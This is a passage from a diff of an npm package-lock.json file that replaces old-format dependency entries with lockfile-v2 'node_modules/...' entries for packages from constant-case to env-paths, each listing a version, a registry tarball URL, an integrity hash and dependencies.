"sha512-Nz2JDIQUdmIGd6p33A+naQmwfkU5KVTLb/5lTk+tLVTDacZKoGQisj8UCxk7onJcrgjIvr8xWqkYI+DbI3TfXg==", + "node_modules/constant-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/constant-case/-/constant-case-3.0.4.tgz", + "integrity": "sha512-I2hSBi7Vvs7BEuJDr5dDHfzb/Ruj3FyvFyh7KLilAjNQw3Be+xgqUBA2W6scVEcL0hL1dwPRtIqEPVUCKkSsyQ==", "dev": true, - "requires": { - "@types/json-schema": "^7.0.9", - "@typescript-eslint/scope-manager": "5.4.0", - "@typescript-eslint/types": "5.4.0", - "@typescript-eslint/typescript-estree": "5.4.0", - "eslint-scope": "^5.1.1", - "eslint-utils": "^3.0.0" + "license": "MIT", + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3", + "upper-case": "^2.0.2" } }, - "@typescript-eslint/parser": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-5.4.0.tgz", - "integrity": "sha512-JoB41EmxiYpaEsRwpZEYAJ9XQURPFer8hpkIW9GiaspVLX8oqbqNM8P4EP8HOZg96yaALiLEVWllA2E8vwsIKw==", + "node_modules/convert-source-map": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", + "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", "dev": true, - "requires": { - "@typescript-eslint/scope-manager": "5.4.0", - "@typescript-eslint/types": "5.4.0", - "@typescript-eslint/typescript-estree": "5.4.0", - "debug": "^4.3.2" - } + "license": "MIT" }, - "@typescript-eslint/scope-manager": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-5.4.0.tgz", - "integrity": "sha512-pRxFjYwoi8R+n+sibjgF9iUiAELU9ihPBtHzocyW8v8D8G8KeQvXTsW7+CBYIyTYsmhtNk50QPGLE3vrvhM5KA==", - "dev": true, - "requires": { - "@typescript-eslint/types": "5.4.0", - "@typescript-eslint/visitor-keys": "5.4.0" - } + "node_modules/core-util-is": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", + "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==" }, - "@typescript-eslint/types": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-5.4.0.tgz", - "integrity": "sha512-GjXNpmn+n1LvnttarX+sPD6+S7giO+9LxDIGlRl4wK3a7qMWALOHYuVSZpPTfEIklYjaWuMtfKdeByx0AcaThA==", - "dev": true + "node_modules/crc-32": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/crc-32/-/crc-32-1.2.2.tgz", + "integrity": "sha512-ROmzCKrTnOwybPcJApAA6WBWij23HVfGVNKqqrZpuyZOHqK2CwHSvpGuyt/UNNvaIjEd8X5IFGp4Mh+Ie1IHJQ==", + "bin": { + "crc32": "bin/crc32.njs" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/crc32-stream": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/crc32-stream/-/crc32-stream-6.0.0.tgz", + "integrity": "sha512-piICUB6ei4IlTv1+653yq5+KoqfBYmj9bw6LqXoOneTMDXk5nM1qt12mFW1caG3LlJXEKW1Bp0WggEmIfQB34g==", + "dependencies": { + "crc-32": "^1.2.0", + "readable-stream": "^4.0.0" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/crc32-stream/node_modules/buffer": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz", + "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.2.1" + } + }, + "node_modules/crc32-stream/node_modules/readable-stream": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-4.7.0.tgz", + "integrity": "sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg==", + "dependencies": { + "abort-controller": "^3.0.0", + "buffer": "^6.0.3", + "events": "^3.3.0", + "process": "^0.11.10", + "string_decoder": "^1.3.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, + "node_modules/crc32-stream/node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/cross-spawn": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/css-select": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-4.1.3.tgz", + "integrity": "sha512-gT3wBNd9Nj49rAbmtFHj1cljIAOLYSX1nZ8CB7TBO3INYckygm5B7LISU/szY//YmdiSLbJvDLOx9VnMVpMBxA==", + "dev": true, + "dependencies": { + "boolbase": "^1.0.0", + "css-what": "^5.0.0", + "domhandler": "^4.2.0", + "domutils": "^2.6.0", + "nth-check": "^2.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/css-tree": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-3.1.0.tgz", + "integrity": "sha512-0eW44TGN5SQXU1mWSkKwFstI/22X2bG1nYzZTYMAWjylYURhse752YgbE4Cx46AC+bAvI+/dYTPRk1LqSUnu6w==", + "dev": true, + "license": "MIT", + "dependencies": { + "mdn-data": "2.12.2", + "source-map-js": "^1.0.1" + }, + "engines": { + "node": "^10 || ^12.20.0 || ^14.13.0 || >=15.0.0" + } + }, + "node_modules/css-what": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/css-what/-/css-what-5.1.0.tgz", + "integrity": "sha512-arSMRWIIFY0hV8pIxZMEfmMI47Wj3R/aWpZDDxWYCPEiOMv6tfOrnpDtgxBYPEQD4V0Y/958+1TdC3iWTFcUPw==", + "dev": true, + "engines": { + "node": ">= 6" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/csso": { + "version": "5.0.5", + "resolved": "https://registry.npmjs.org/csso/-/csso-5.0.5.tgz", + "integrity": "sha512-0LrrStPOdJj+SPCCrGhzryycLjwcgUSHBtxNA8aIDxf0GLsRh1cKYhB00Gd1lDOS4yGH69+SNn13+TWbVHETFQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "css-tree": "~2.2.0" + }, + "engines": { + "node": "^10 || ^12.20.0 || ^14.13.0 || >=15.0.0", + "npm": ">=7.0.0" + } + }, + "node_modules/csso/node_modules/css-tree": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-2.2.1.tgz", + "integrity": "sha512-OA0mILzGc1kCOCSJerOeqDxDQ4HOh+G8NbOJFOTgOCzpw7fCBubk0fEyxp8AgOL/jvLgYA/uV0cMbe43ElF1JA==", + "dev": true, + "license": "MIT", + "dependencies": { + "mdn-data": "2.0.28", + "source-map-js": "^1.0.1" + }, + "engines": { + "node": "^10 || ^12.20.0 || ^14.13.0 || >=15.0.0", + "npm": ">=7.0.0" + } + }, + "node_modules/csso/node_modules/mdn-data": { + "version": "2.0.28", + "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.28.tgz", + "integrity": "sha512-aylIc7Z9y4yzHYAJNuESG3hfhC+0Ibp/MAMiaOZgNv4pmEdFyfZhhhny4MNiAfWdBQ1RQ2mfDWmM1x8SvGyp8g==", + "dev": true, + "license": "CC0-1.0" + }, + "node_modules/cubic2quad": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/cubic2quad/-/cubic2quad-1.2.1.tgz", + "integrity": "sha512-wT5Y7mO8abrV16gnssKdmIhIbA9wSkeMzhh27jAguKrV82i24wER0vL5TGhUJ9dbJNDcigoRZ0IAHFEEEI4THQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/d": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/d/-/d-1.0.2.tgz", + "integrity": "sha512-MOqHvMWF9/9MX6nza0KgvFH4HpMU0EF5uUDXqX/BtxtU8NfB0QzRtJ8Oe/6SuS4kbhyzVJwjd97EA4PKrzJ8bw==", + "dev": true, + "license": "ISC", + "dependencies": { + "es5-ext": "^0.10.64", + "type": "^2.7.2" + }, + "engines": { + "node": ">=0.12" + } + }, + "node_modules/debug": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.1.tgz", + "integrity": "sha512-KcKCqiftBJcZr++7ykoDIEwSa3XWowTfNPo92BYxjXiyYEVrUQh2aLyhxBCwww+heortUFxEJYcRzosstTEBYQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decamelize": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-4.0.0.tgz", + "integrity": "sha512-9iE1PgSik9HeIIw2JO94IidnE3eBoQrFJ3w7sFuzSX4DpmZ3v5sZpUiV5Swcf6mQEF+Y0ru8Neo+p+nyh2J+hQ==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/decompress": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/decompress/-/decompress-4.2.1.tgz", + "integrity": "sha512-e48kc2IjU+2Zw8cTb6VZcJQ3lgVbS4uuB1TfCHbiZIP/haNXm+SVyhu+87jts5/3ROpd82GSVCoNs/z8l4ZOaQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "decompress-tar": "^4.0.0", + "decompress-tarbz2": "^4.0.0", + "decompress-targz": "^4.0.0", + "decompress-unzip": "^4.0.1", + "graceful-fs": "^4.1.10", + "make-dir": "^1.0.0", + "pify": "^2.3.0", + "strip-dirs": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/decompress-response": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", + "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==", + "dev": true, + "optional": true, + "dependencies": { + "mimic-response": "^3.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/decompress-tar": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/decompress-tar/-/decompress-tar-4.1.1.tgz", + "integrity": "sha512-JdJMaCrGpB5fESVyxwpCx4Jdj2AagLmv3y58Qy4GE6HMVjWz1FeVQk1Ct4Kye7PftcdOo/7U7UKzYBJgqnGeUQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "file-type": "^5.2.0", + "is-stream": "^1.1.0", + "tar-stream": "^1.5.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/decompress-tar/node_modules/bl": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/bl/-/bl-1.2.3.tgz", + "integrity": "sha512-pvcNpa0UU69UT341rO6AYy4FVAIkUHuZXRIWbq+zHnsVcRzDDjIAhGuuYoi0d//cwIwtt4pkpKycWEfjdV+vww==", + "dev": true, + "license": "MIT", + "dependencies": { + "readable-stream": "^2.3.5", + "safe-buffer": "^5.1.1" + } + }, + "node_modules/decompress-tar/node_modules/tar-stream": { + "version": "1.6.2", + "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-1.6.2.tgz", + "integrity": "sha512-rzS0heiNf8Xn7/mpdSVVSMAWAoy9bfb1WOTYC78Z0UQKeKa/CWS8FOq0lKGNa8DWKAn9gxjCvMLYc5PGXYlK2A==", + "dev": true, + "license": "MIT", + "dependencies": { + "bl": "^1.0.0", + "buffer-alloc": "^1.2.0", + "end-of-stream": "^1.0.0", + "fs-constants": "^1.0.0", + "readable-stream": "^2.3.0", + "to-buffer": "^1.1.1", + "xtend": "^4.0.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/decompress-tarbz2": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/decompress-tarbz2/-/decompress-tarbz2-4.1.1.tgz", + "integrity": "sha512-s88xLzf1r81ICXLAVQVzaN6ZmX4A6U4z2nMbOwobxkLoIIfjVMBg7TeguTUXkKeXni795B6y5rnvDw7rxhAq9A==", + "dev": true, + "license": "MIT", + "dependencies": { + "decompress-tar": "^4.1.0", + "file-type": "^6.1.0", + "is-stream": "^1.1.0", + "seek-bzip": "^1.0.5", + "unbzip2-stream": "^1.0.9" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/decompress-tarbz2/node_modules/file-type": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-6.2.0.tgz", + "integrity": "sha512-YPcTBDV+2Tm0VqjybVd32MHdlEGAtuxS3VAYsumFokDSMG+ROT5wawGlnHDoz7bfMcMDt9hxuXvXwoKUx2fkOg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/decompress-targz": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/decompress-targz/-/decompress-targz-4.1.1.tgz", + "integrity": "sha512-4z81Znfr6chWnRDNfFNqLwPvm4db3WuZkqV+UgXQzSngG3CEKdBkw5jrv3axjjL96glyiiKjsxJG3X6WBZwX3w==", + "dev": true, + "license": "MIT", + "dependencies": { + "decompress-tar": "^4.1.1", + "file-type": "^5.2.0", + "is-stream": "^1.1.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/decompress-unzip": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/decompress-unzip/-/decompress-unzip-4.0.1.tgz", + "integrity": "sha512-1fqeluvxgnn86MOh66u8FjbtJpAFv5wgCT9Iw8rcBqQcCo5tO8eiJw7NNTrvt9n4CRBVq7CstiS922oPgyGLrw==", + "dev": true, + "license": "MIT", + "dependencies": { + "file-type": "^3.8.0", + "get-stream": "^2.2.0", + "pify": "^2.3.0", + "yauzl": "^2.4.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/decompress-unzip/node_modules/file-type": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-3.9.0.tgz", + "integrity": "sha512-RLoqTXE8/vPmMuTI88DAzhMYC99I8BWv7zYP4A1puo5HIjEJ5EX48ighy4ZyKMG9EDXxBgW6e++cn7d1xuFghA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/decompress/node_modules/make-dir": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-1.3.0.tgz", + "integrity": "sha512-2w31R7SJtieJJnQtGc7RVL2StM2vGYVfqUOvUDxH6bC6aJTxPxTF0GnIgCyu7tjockiUWAYQRbxa7vKn34s5sQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "pify": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/decompress/node_modules/make-dir/node_modules/pify": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", + "integrity": "sha512-C3FsVNH1udSEX48gGX1xfvwTWfsYWj5U+8/uK15BGzIGrKoUpghX8hWZwa/OFnakBiiVNmBvemTJR5mcy7iPcg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/deep-eql": { + "version": "4.1.4", + "resolved": "https://registry.npmjs.org/deep-eql/-/deep-eql-4.1.4.tgz", + "integrity": "sha512-SUwdGfqdKOwxCPeVYjwSyRpJ7Z+fhpwIAtmCUdZIWZ/YP5R9WAsyuSgpLVDi9bjWoN2LXHNss/dk3urXtdQxGg==", + "dev": true, + "license": "MIT", + "dependencies": { + "type-detect": "^4.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/deep-extend": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz", + "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==", + "dev": true, + "optional": true, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/deep-is": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", + "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", + "dev": true + }, + "node_modules/define-data-property": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz", + "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", + "dev": true, + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/define-lazy-prop": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz", + "integrity": "sha512-Ds09qNh8yw3khSjiJjiUInaGX9xlqZDY7JVryGxdxV7NPeuqQfplOpQ66yJFZut3jLa5zOwkXw1g9EI2uKh4Og==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/del": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/del/-/del-8.0.1.tgz", + "integrity": "sha512-gPqh0mKTPvaUZGAuHbrBUYKZWBNAeHG7TU3QH5EhVwPMyKvmfJaNXhcD2jTcXsJRRcffuho4vaYweu80dRrMGA==", + "dev": true, + "dependencies": { + "globby": "^14.0.2", + "is-glob": "^4.0.3", + "is-path-cwd": "^3.0.0", + "is-path-inside": "^4.0.0", + "p-map": "^7.0.2", + "presentable-error": "^0.0.1", + "slash": "^5.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/del-cli": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/del-cli/-/del-cli-7.0.0.tgz", + "integrity": "sha512-fRl4pWJYu9WFQH8jXdQUYvcD0IMtij9WEc7qmB7xOyJEweNJNuE7iKmqNeoOT1DbBUjtRjxlw8Y63qKBI/NQ1g==", + "dev": true, + "dependencies": { + "del": "^8.0.1", + "meow": "^14.0.0", + "presentable-error": "^0.0.1" + }, + "bin": { + "del": "cli.js", + "del-cli": "cli.js" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/del/node_modules/is-path-inside": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-4.0.0.tgz", + "integrity": "sha512-lJJV/5dYS+RcL8uQdBDW9c9uWFLLBNRyFhnAKXw5tVqLlKZ4RMGZKv+YQ/IA3OhD+RpbJa1LLFM1FQPGyIXvOA==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "dev": true, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/delegates": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz", + "integrity": "sha512-bd2L678uiWATM6m5Z1VzNCErI3jiGzt6HGY8OVICs40JQq/HALfbyNJmp0UDakEY4pMMaN0Ly5om/B1VI/+xfQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/deprecation": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/deprecation/-/deprecation-2.3.1.tgz", + "integrity": "sha512-xmHIy4F3scKVwMsQ4WnVaS8bHOx0DmVwRywosKhaILI0ywMDWPtBSku2HNxRvF7jtwDRsoEwYQSfbxj8b7RlJQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/detect-libc": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.0.1.tgz", + "integrity": "sha512-463v3ZeIrcWtdgIg6vI6XUncguvr2TnGl4SzDXinkt9mSLpBJKXT3mW6xT3VQdDN11+WVs29pgvivTc4Lp8v+w==", + "dev": true, + "optional": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/diff": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/diff/-/diff-8.0.2.tgz", + "integrity": "sha512-sSuxWU5j5SR9QQji/o2qMvqRNYRDOcBTgsJ/DeCf4iSN4gW+gNMXM7wFIP+fdXZxoNiAnHUTGjCr+TSWXdRDKg==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.3.1" + } + }, + "node_modules/doctrine": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz", + "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==", + "dev": true, + "dependencies": { + "esutils": "^2.0.2" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/dom-serializer": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.3.2.tgz", + "integrity": "sha512-5c54Bk5Dw4qAxNOI1pFEizPSjVsx5+bpJKmL2kPn8JhBUq2q09tTCa3mjijun2NfK78NMouDYNMBkOrPZiS+ig==", + "dev": true, + "dependencies": { + "domelementtype": "^2.0.1", + "domhandler": "^4.2.0", + "entities": "^2.0.0" + }, + "funding": { + "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1" + } + }, + "node_modules/domelementtype": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz", + "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ], + "license": "BSD-2-Clause" + }, + "node_modules/domhandler": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.2.2.tgz", + "integrity": "sha512-PzE9aBMsdZO8TK4BnuJwH0QT41wgMbRzuZrHUcpYncEjmQazq8QEaBWgLG7ZyC/DAZKEgglpIA6j4Qn/HmxS3w==", + "dev": true, + "dependencies": { + "domelementtype": "^2.2.0" + }, + "engines": { + "node": ">= 4" + }, + "funding": { + "url": "https://github.com/fb55/domhandler?sponsor=1" + } + }, + "node_modules/domutils": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz", + "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", + "dev": true, + "dependencies": { + "dom-serializer": "^1.0.1", + "domelementtype": "^2.2.0", + "domhandler": "^4.2.0" + }, + "funding": { + "url": "https://github.com/fb55/domutils?sponsor=1" + } + }, + "node_modules/dot-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/dot-case/-/dot-case-3.0.4.tgz", + "integrity": "sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==", + "dev": true, + "license": "MIT", + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "dev": true, + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/eastasianwidth": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz", + "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==" + }, + "node_modules/ecdsa-sig-formatter": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/ecdsa-sig-formatter/-/ecdsa-sig-formatter-1.0.11.tgz", + "integrity": "sha512-nagl3RYrbNv6kQkeJIpt6NJZy8twLB/2vtz6yN9Z4vRKHN4/QZJIEbqohALSgwKdnksuY3k5Addp5lg8sVoVcQ==", + "dev": true, + "dependencies": { + "safe-buffer": "^5.0.1" + } + }, + "node_modules/editions": { + "version": "6.22.0", + "resolved": "https://registry.npmjs.org/editions/-/editions-6.22.0.tgz", + "integrity": "sha512-UgGlf8IW75je7HZjNDpJdCv4cGJWIi6yumFdZ0R7A8/CIhQiWUjyGLCxdHpd8bmyD1gnkfUNK0oeOXqUS2cpfQ==", + "dev": true, + "dependencies": { + "version-range": "^4.15.0" + }, + "engines": { + "ecmascript": ">= es5", + "node": ">=4" + }, + "funding": { + "url": "https://bevry.me/fund" + } + }, + "node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==" + }, + "node_modules/enabled": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/enabled/-/enabled-2.0.0.tgz", + "integrity": "sha512-AKrN98kuwOzMIdAizXGI86UFBoo26CL21UM763y1h/GMSJ4/OHU9k2YlsmBpyScFo/wbLzWQJBMCW4+IO3/+OQ==", + "dev": true + }, + "node_modules/encoding": { + "version": "0.1.13", + "resolved": "https://registry.npmjs.org/encoding/-/encoding-0.1.13.tgz", + "integrity": "sha512-ETBauow1T35Y/WZMkio9jiM0Z5xjHHmJ4XmjZOq1l/dXz3lr2sRn87nJy20RupqSh1F2m3HHPSp8ShIPQJrJ3A==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "iconv-lite": "^0.6.2" + } + }, + "node_modules/end-of-stream": { + "version": "1.4.4", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", + "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", + "dev": true, + "dependencies": { + "once": "^1.4.0" + } + }, + "node_modules/enhanced-resolve": { + "version": "5.18.3", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.18.3.tgz", + "integrity": "sha512-d4lC8xfavMeBjzGr2vECC3fsGXziXZQyJxD868h2M/mBI3PwAuODxAkLkq5HYuvrPYcUtiLzsTo8U3PgX3Ocww==", + "dev": true, + "dependencies": { + "graceful-fs": "^4.2.4", + "tapable": "^2.2.0" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/entities": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz", + "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==", + "dev": true, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/env-paths": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz", + "integrity": 